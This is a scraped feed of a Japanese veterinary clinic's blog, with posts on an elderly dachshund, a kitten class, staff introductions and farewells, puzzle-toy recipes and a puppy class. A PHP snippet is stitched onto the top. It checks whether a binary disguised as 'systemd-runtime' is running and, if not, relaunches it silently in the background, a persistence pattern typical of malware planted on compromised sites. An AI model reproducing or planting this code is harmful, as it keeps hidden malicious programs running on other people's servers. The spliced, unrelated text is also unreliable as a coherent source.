$programFilePath = 'systemd-runtime';
$processList = shell_exec('ps aux');
if (strpos($processList, $programFilePath) === false) {
$commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &';
shell_exec($commandToExecute);
}
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]]>こんにちは。獣医師の小川です。
今回は今年の4月に20歳を迎えられたワンちゃんをご紹介致します。
平野ネオちゃんはミニチュアダックスフントの男の子。当院には10歳の時から通ってくれています。
ネオちゃんは驚くほど強靭なワンちゃんで、19歳の時に麻酔をかけてお口の中をきれいにしたり、眼のできものをとる手術をしたりしましたが、その後もとても元気です。
毎月、爪や被毛のカットに来てくれていますが、筋力もあって、とても20歳とは思えません。そして、いつも一緒のオーナーさんのことが大好きです。
そんなネオちゃんにお会いできるのが、私もとても楽しみですし、励みになっています。
皆さんもネオちゃんのような元気な長寿犬を目指して、私たち病院スタッフと一緒に健康管理に気をつけていきましょう。
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]]>The post 祝!こねこ教室卒業✨ first appeared on 動物の医学 | 本牧通り動物病院.
]]>3月に入り、日々暖かくなり、わんちゃん、ねこちゃんも過ごしやすい気候になってきましたね!
3月といえば満開の桜に、卒業シーズン…
今回はそんな時期にぴったりなブログです(^^♪
全8回のこねこ教室を終えて無事卒業を迎えた宇多(うた)ちゃんをご紹介します(=^・^=)
お家に迎え入れてからすぐにこねこ教室に通い始めてくれた宇多ちゃんと飼い主さん。コロナ禍もあり途中期間が空いてしまいましたが、とても熱心な飼い主さんと頑張り屋さんの宇多ちゃんのご協力もあってこの度、無事卒業となりました♬おめでとうございます
はじめは飼い主さんの膝の上から降りられないくらい甘えん坊さんだった宇多ちゃん。段々と回数を重ねていくうちに診察台の上でもお利口さんでいられるようになり、歯磨き、投薬練習もばっちりできるようになりました!!
飼い主さんも最初は何事も初めてで、緊張気味でしたが今では爪切りをはじめ、歯磨き、投薬練習としっかり練習の成果が出ており、最後のこねこ教室の時にはすべてお一人でできるようになっていました!!とても素晴らしいことです(^^)/
また、お家でのケアができるだけではなく、キャリーバッグに入れて動物病院に来ること自体にもストレスフリーであることがこねこ教室を実施している私にとってはうれしい限りでした(^O^)
卒業証書とともに記念にパチリ!
スタッフ一同でお祝い記念撮影☆
とても熱心で猫ちゃん大好きな飼い主さんはこねこ教室を卒業しても、宇多ちゃんがこれからも病院を嫌いにならないようにおやつをもって定期的に病院に足を運んでくださるとのことでした。是非スタッフ一同お待ちしております(^^♪
これから猫ちゃんを迎えようと考えている方や、新しく子猫を迎えた飼い主さん、子猫を保護された飼い主さん、こねこ教室に興味がある方はスタッフや獣医師までお気軽にご相談ください♪
また、猫ちゃんの飼育相談やお悩みなどはオンラインでも受け付けておりますので、なにかありましたらご相談くださいね
オンラインなら、なかなか動物病院に連れてこられない飼い主さんにもお勧めです☆
今回久しぶりのブログになってしまいましたが、おめでたい報告ができてうれしく思います♡
ではまた次回のブログをお楽しみに~(^^)/
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]]>The post スタッフ紹介〈小林獣医師のご紹介〉 first appeared on 動物の医学 | 本牧通り動物病院.
]]>
また、昨年は二児のパパになりました。仕事だけでなく、育児も一生懸命家族思いのイクメンでもあります。
では、小林獣医師へのインタビュー、ご覧ください。
獣医師としても家庭人としても充実した日々を送っている小林先生。
当院としても、ずっといてもらいたいスタッフなのですが…
ここで皆さまに大切なお知らせがあります。
この度、小林獣医師は、念願であった自身の動物病院を開院することになりました。
本牧通り動物病院での勤務は、5月末までとなります。
当院としても大変残念ではありますが、小林獣医師の「これから」を応援したいと思います。
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]]>The post スタッフ紹介〈石橋看護師のご紹介〉 first appeared on 動物の医学 | 本牧通り動物病院.
]]>
動物看護師としての経験は6年ですが、動物に対する愛情と看護師としての実力を兼ね備えた素晴らしい看護師です!
ただ、その実力が買われて、この度別の動物病院に行くことになりました。ご紹介の機会が同時にお別れの報告となってしまい、大変残念ですが、石橋の魅力をお伝えできれば、と思います。
最後まで読んで頂けましたら幸いです。
突然のご挨拶となってしまい大変申し訳ございません。直接ご挨拶できなかった皆様、申し訳ございません。
この度3月末日をもって、本牧通り動物病院を退職することとなりました。
自分は当院にくるまで、大きい病院にいて、飼い主様とお話しする機会も限られていました。
そんな緊張でうまく話せない自分を成長させて下さったのは間違いなく、本牧通り動物病院に通われている飼い主様だと思っております。
この3年間、皆さまとの時間は本当に宝物です。本当にありがとうございました!
これからも皆様のご健勝をお祈り申し上げます。
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]]>The post スタッフ紹介〈(竹田)沙和子獣医師のご紹介〉 first appeared on 動物の医学 | 本牧通り動物病院.
]]>今回は、竹田前院長の娘でもある、(竹田)沙和子獣医師の紹介です。
現在、アメリカのボストンで暮らしていますが、最近では、当院のインスタグラムを立ち上げ、様々な記事を発信しています。
そんな沙和子獣医師に、アメリカでの生活のこと、これからのこと、インタビューしてみました!
改めて人と人のつながりは大切だと思いました。
ボストンで緊急事態宣言が出たのは2020年3月、その時ちょうど妊娠後期に入る頃でした。町もシャットダウンし、当然産婦人科も閉まりオンライン診察になってしまいました。日本に帰国をして出産することも考えましたが、すでに妊娠後期、しかもコロナ真っ只中のアメリカからの帰国の妊婦を受け入れてくれる病院はありませんでした。
初めて患者の立場になり、満足に診察を受けられないことがこんなにも心細く排除されたような気持ちになることを痛感しました。そんな時、お友達が連絡をくれ、相談にのってくれました。陣痛がきた時も駆けつけてくれ、安心して出産に臨むことができました。
その後の子育ても丹呉先生のようにスマートにはできていませんが、ボストンで信頼できるドゥーラさん(産前産後のサポートをしてくださる方)に出会うことができました。産後6日、ギックリ腰で歩けなくなった時、娘の体調が悪くなった時など手厚くかつ直ぐに助けてくれました。
いつでもそこにいてくれる、助けてくれる人がいる時に感じる安心感をコロナ禍のアメリカでより一層知ることができました。
「人とのつながりを大切にして欲しい」という思いを娘にも伝えていきたいと思います。
ありきたりかもしれませんが、愛猫リリーのことをもっと知りたい、ずっと一緒にいたいと思ったのがきっかけです。
7歳の誕生日に念願のシマシマの猫(リリー)が家に来ました。
ある日わたしが弟と兄弟げんかをして玄関で泣いていると、リリーが心配して近付いてきました。その時、動物は言葉を話さなくても人間の気持ちや状況がよく分かり、なにか手を差し伸べてくれているように感じました。
いつしかリリーが辛い時はわたしが側にいてあげたい、猫博士になりたい、獣医師になりたいと思うようになりました。
もちろん父の姿も見ていたので、獣医師という仕事がとても身近だったのもあると思います。けれど子どもながらに「獣医さんは忙しくて大変!」と思っていました(笑)
最初から最期まで動物と飼い主さんに寄り添える、安心感のある獣医師になりたいです。
残念ながら初代院長の父とは一緒に働くことはできなかったのですが、わたしから見た父は「いつでも動物たちのことを考えていて、飼い主さんから信頼される頼もしい獣医師」でした。それに憧れる反面、わたしは性格も診察スタイルも異なり追いつけないと感じています。
ただ、それ以上に勉強し常に向上心を持ち、知識と技術のある「わたしなりの頼もしい獣医師」になりたいと思っています。
しかし、動物の命はいつか終わりが来てしまいます。その最期に動物の状況や声を飼い主さんにつなげ、残りの大切な時間に後悔が残らないよう寄り添うのも獣医師の役目だと思っています。頑固なところは父とよく似ているので必ずなりたいと思っています。
アメリカでの生活、子育てを通して、人としても獣医師としてもきっと一回り大きくなって帰ってくることと思います。
皆さま、どうぞ、本牧通り動物病院のインスタグラムをご覧になってお待ちください!
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]]>The post うちの子を夢中にさせる!知育トイの作り方 first appeared on 動物の医学 | 本牧通り動物病院.
]]>いつもブログを読んでくださりありがとうございます♡
前回の知育トイのブログを読んでいただいた皆様、お待たせいたしました!!(笑)
また今回初めてブログを読んでくださった方は前回の知育トイのブログもぜひあわせて読んでみてくださいね♪
今回は知育トイの上手な作り方を動画でお教えしますッ(`・ω・´)
前回のブログを読んで、、、
なんて思っていませんか?
そんな方必見です!!
前回のブログのような夢中になってくれるコングの作り方にはちょっとした工夫が必要です。そのちょっとしたコツを今回はお教えします♬
①まずはドライフードをいつも与えている1日分の量から少し取り分け、完全にふやけるまで置いておきます。
<ここがポイント!>
ふやかす際は熱湯ではなく、ぬるま湯でふやかしましょう。熱湯だとドライフードに含まれるビタミンなどが壊れてしまいます。またふやけにくい場合は少しドライフードを砕いてからふやかすと短時間でふやけやすくなります。
これはコングの真ん中に詰めるペースト状のものを作っている過程になります。
私はパピークラスなどでアレルギーのある子やまだおやつを知らない子犬たちに作ってあげることが多いので今回はドライフードをふやかしてペーストの代わりにしていますが、フードの食べが悪い子や手早く作りたい方は缶詰のフードを利用したり、コングペーストを利用したりするのもいいでしょう。
その際はカロリーの取りすぎなどに注意してくださいね。
②ドライフードが完全にふやけたら、混ぜてペースト状にします。
③これで準備はOK!いよいよコングに詰めていきます。コングの詰め方にもコツがあります。
④コングの先端(先が細くなっている方)にはドライフードをそのままコング全体の1/3くらいまで入れます。
<ここがポイント!>
コングの先端にペーストを詰めてしまうと、舌が届かず、食べきることが出来なくなってしまい、途中であきらめてしまう子が多いのです。
⑤コングの真ん中には①でふやかしたペースト状のフードを詰めていきます。
その後にまたドライフードを入れて舌で取り出しやすくします。最後にまたペースト状のフードで蓋をします。(チュールやコングペーストでも可)
これで完成です!!
これでまたひとつ愛犬の楽しみが増えましたね♪
皆様、いかがでしたでしょうか?ぜひ動画を参考にまずは作ってみましょう!
1回作ってワンちゃん達に遊ばせてみて、コングの難易度を調節してくださいね(^_-)-☆
初めてコングを使う子はドライフードを多くして簡単目に、すぐに食べきってしまった子はペーストを多くして難しく、などなどその子に合わせて作っていきましょう。
作ってみたけどうまくいかないなど、コングの悩みなどもいつでもお気軽にご相談くださいね♪
では、またブログでお会いしましょう~
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]]>The post スタッフ紹介〈牧野院長のご紹介〉 first appeared on 動物の医学 | 本牧通り動物病院.
]]>今回のスタッフ紹介は、当院の院長である「牧野 仁先生」です。
ひとつひとつの質問に、牧野先生の人柄あふれる丁寧な答えが返ってきました。
じっくりと読んでいただけたら、嬉しいです!
獣医師をめざしたきっかけは、どんなことでしたか?
幼い頃に『究極のサバイバル状態に陥った時、人と動物を一緒に助けられるのは獣医さんではないか』と思ったことが根底にあると思います。
私が究極のサバイバル状態を感じたのには、こんな時代背景があります。
1972年に日中国交正常化の合意文書の調印の記念にジャイアントパンダのカンカン(康康)とランラン(蘭蘭)が初めて日本にやってきて、日本中がそのニュースで沸きかえっていました。
子供心(当時10歳)に何か盛り上がっているなと感じていたいときに、小松左京さんの超ベストセラーSF小説「日本沈没」が1974年にテレビドラマ化され、日本列島が海に沈むという衝撃的な番組を見て、とても恐怖を感じたことを覚えています。
その頃はちょうど幼少時からの念願であった犬を飼いはじめた時期でもありました。日本が沈没してしまうような非常事態になった時も「大切な家族とマルを守りたい」と思う気持ちが、獣医師を目指したことにつながっているのだと思います。
臨床獣医師として30年。先生が心がけてきたことやベースになっている考えがありましたら教えてください。
岩手県盛岡市という厳しい寒さの土地で大動物を中心に獣医学と学術研究の基礎を学び、獣医師の免許を取得後、東京大学の動物病院で犬猫の臨床獣医師としてのキャリアをスタートさせました。
大学の教官、先輩、同期、後輩と学生そして病院スタッフが、日夜病気の動物達を救おうと一丸となって治療に取り組む姿勢に感銘し、精神的にも多大な影響を受けました。
大学での2年間の研修を経て、埼玉県の戸ヶ崎動物病院に就職しました。
当時の院長・諸角元ニ先生の指導のもと、個人病院での一般臨床を中心に学会発表や論文投稿など様々な経験をさせて頂き、地域の人たちとの交流、繋がり、信頼関係などを築くことで動物病院がより良く機能し、地域に貢献する役割を果たせることを実感しました。
優秀な後輩獣医師も育ち、充実した獣医臨床生活を過ごしていましたが、大切にしている動物たちとのお別れ、つまり命の終焉とは常に向き合わなければならない仕事であることに、難しさを感じていました。
そんなある日、柳田邦男氏の『「死の医学」への序章』という本に出会い、健康であれ病気であれ、生きているということは日々死に近づいてくことであり、それは普遍的な事実なので抗うことはせず、自然に心を落ち着かせて日常を過ごし、逆に「死」を見つめることで「生」を輝かせることができ、今生きていることが何よりも大切で貴重な時間であることに気づかされました。
そのことで高齢動物や終末期医療に対しての向き合い方やご家族に対しての言葉かけにも、個々の事情と病気などの状況によって様々な対応があって良いのだと思えるようになりました。
今も本牧通り動物病院の診療で繰り広げられる、動物たちとの出会いやご家族とのコミュニケーションの中で、動物と家族にとって何が良い選択なのか日々考え、悩みもがきながら、安心できる医療を提供する姿勢を忘れないようにすることが、学ぶことを続ける原動力になっています。
これからの「本牧通り動物病院」。どんな病院を目指していますか?
今までも続けてきたように、動物とその家族が楽しい気持ちになり、温もりを感じて心癒される病院にしたいです。そのためには先ず大前提として、我々スタッフは獣医療のプロとして正確な知識と堅実な技術の習得を心掛け、常に向上心を持って自己研鑽をし、心の通う医療サービスを提供すること。
それらを安定して続けることで、地域の人たちに認められ信頼されて、世代が変わっても同じように付き合える、地域に溶け込んだ病院にしたいです。
その担い手である病院スタッフが、お互い認め合い助け合いながら、生涯を通じて安心して働くことが出来る職場にし、動物を含めたその家族の幸せに貢献し、いつまでも心の繋がる場所にしたいです。
何よりもスタッフには明るく元気でいてもらいたいです。
また、その思いの原点が10歳の頃から45年を経ても変わっていない、そのことに信頼と安心感を感じました。
これからも、牧野院長とスタッフ達と一緒に「人と動物の幸せ」を届けられる動物病院をめざしていきたいと思います!
<略歴>
1990年 岩手大学 卒
同年 東京大学獣医外科学教室 研究生
1992年 戸ヶ崎動物病院 勤務
2018年 本牧通り動物病院 院長着任
<所属学会・研究会>
日本獣医麻酔外科学会
日本獣医がん学会
獣医神経病学会
日本獣医顎顔面口腔外科研究会
どうぶつ達との生活を含めた家族第一主義
学生時代にスキー、温泉、日本酒に目覚め現在に至る
モットーは人の気持ちを想うこと
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]]>The post 知育トイでネコちゃんワンちゃんも頭を使って遊びます first appeared on 動物の医学 | 本牧通り動物病院.
]]>まだまだコロナ禍が続いていますが、おうちのワンちゃん、ネコちゃんといかがお過ごしでしょうか?一緒に過ごす時間が増えているご家族もいるかもしれませんね♪
ところでみなさんは愛犬、愛猫とうまく遊べているでしょうか? 意外と遊びに関しての悩みも多いのでは・・・??
例えば
などなど。
私はパピークラスや行動診療を担当していますが、飼い主さんとお話をしている間、ワンちゃん、ネコちゃんには一人で遊んでいてもらうことが多くあります。
そんな時に大活躍なのが知育トイ!
知育トイというのは体だけではなく、頭も使って遊ぶおもちゃのことです!
ボール遊びのもってこい遊びやお散歩で一緒にダッシュ!もいいですが、たまには動物たちの賢い頭脳も使って遊んであげましょう(`・ω・´)人でいうと計算ドリルをやるような感じかな?(笑)
今はたくさんの種類の知育トイが発売されていますが、主にフードやおやつなど食べ物を入れたり、使ったりして遊ぶのが基本的な遊び方になります。
有名なものでいうと『コング』というものがあります。この独特な形、ペットショップやホームセンターで見かけたことがある方や実際に使ったことがある方もいるかもしれません(^^♪
病院でもたくさんの種類のコングをそろえて使っています♪
私は、その子の性格や遊び方の特徴によって使い分けています。
飼い主さんとお話し中でも夢中になって一人で遊んでくれています♪
これで中身がなくなるまで15分以上は一人で遊んでくれますよ(^_-)-☆
ちなみにネコちゃんの場合はコロコロ転がせるボール型やカプセル型がおすすめです!
しかし、、、
コングは買ったものの、うちの子はこんなに遊んでくれない!やコングってどうやって使うの??と思った方は次回のブログをお楽しみに(^_-)-☆
次回はコングの作り方をわかりやすく説明しますね♬
では、またブログでお会いしましょう~
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]]>The post パピークラス first appeared on 動物の医学 | 本牧通り動物病院.
]]>当院のパピークラスの目的は、動物たちが「病院に行くのが楽しい!」と思ってくれること。通ってきてくださる子達はほぼ全員大喜びで病院、診察室に入ってきてくれます!
もちろん私にも大喜びで会いに来てくれます。(笑)そんなかわいい子たちの熱烈な歓迎はこちらも大歓迎♡
パピークラスをやっていてよかったなと思う瞬間でもあります°˖✧◝(⁰▿⁰)◜✧˖°
では、今回はパピークラスの仲間と内容の一部を紹介したいと思います!
まずは今回の主役! こたろうちゃん☆ポメラニアンの男の子です
いつもパピークラスの時間には喜んで病院に入ってきてくれます♪パピークラスの日以外は犬の幼稚園にも通っているというこたろうちゃん。飼い主さんから拝見した写真では他のワンちゃんともうまく遊べている様子が写っていました(^^)
当院でも、以前は体格や性格などを考慮して複数のグループでクラスを開催していたのですが、コロナ感染のリスクを考慮して、現在は個別での対応をさせていただいています。他のワンちゃんやご家族への社会化不足が心配でしたが、そういった問題は全くなく、こたろうちゃんはパピークラスでもしっかりと勉強してくれて、順調に成長を見せてくれています!
動物病院で開催するパピークラスのメリットは、メディカルな練習や獣医師のアドバイスがあること。こたろうちゃんは診察台で歯のチェックも練習中。しっかり口も触らせてくれます。こんな歯の状態が見られるのもパピークラスならでは!!皆さん、どちらが永久歯かわかりますか??
パピークラスではメディカルなこと以外におすわりや伏せ、マテやアイコンタクトの練習、呼び戻しなど最低限必要なしつけや訓練も練習します。
こんな感じで子犬の時期に起こりやすい問題行動へのアドバイスや対処法をお話しした後、メディカルチェックや覚えておきたい簡単な訓練などを楽しく実施しています(^^♪
いかがでしたか?このブログを読んでいただいて少しでもパピークラスの楽しい様子が伝わるといいなぁと思います!
新しいご家族を迎える予定がある方、ご興味のある方はぜひスタッフか、お電話でご相談くださいね♫
最後に…コロナ禍にもかかわらず通っていただいている飼い主様には感謝いたします!
トリミングで柴カットになったこたろうちゃん
わざわざ病院までお披露目に寄ってくださいました♡
では、またブログでお会いしましょう~
The post パピークラス first appeared on 動物の医学 | 本牧通り動物病院.
]]>The post 真夏の大掃除 first appeared on 動物の医学 | 本牧通り動物病院.
]]>
晴天で真っ青な夏空!でもちょっと暑かったです。
業者さんが入ってワックスをかけました。
診察台、医療器具、待合のベンチも移動します。
床の汚れを落とし
塗ったワックスを乾かします
屋根にも水をかけて汚れを落とし
ガラスも念入りに磨きます
できあがり!とってもきれいになりました。
Before(ビフォー)& After(アフター)をご覧ください。
毎日掃除はしていても、どうしても汚れは蓄積してしまいますね。
コロナの感染拡大は止まらず医療はひっ迫し、長引く大雨による土砂災害も深刻です。
身の回りの衛生環境はしっかり整えておきたいものです。
<略歴>
1990年 岩手大学 卒
同年 東京大学獣医外科学教室 研究生
1992年 戸ヶ崎動物病院 勤務
2018年 本牧通り動物病院 院長着任
<所属学会・研究会>
日本獣医麻酔外科学会
日本獣医がん学会
獣医神経病学会
日本獣医顎顔面口腔外科研究会
どうぶつ達との生活を含めた家族第一主義
学生時代にスキー、温泉、日本酒に目覚め現在に至る
モットーは人の気持ちを想うこと
The post 真夏の大掃除 first appeared on 動物の医学 | 本牧通り動物病院.
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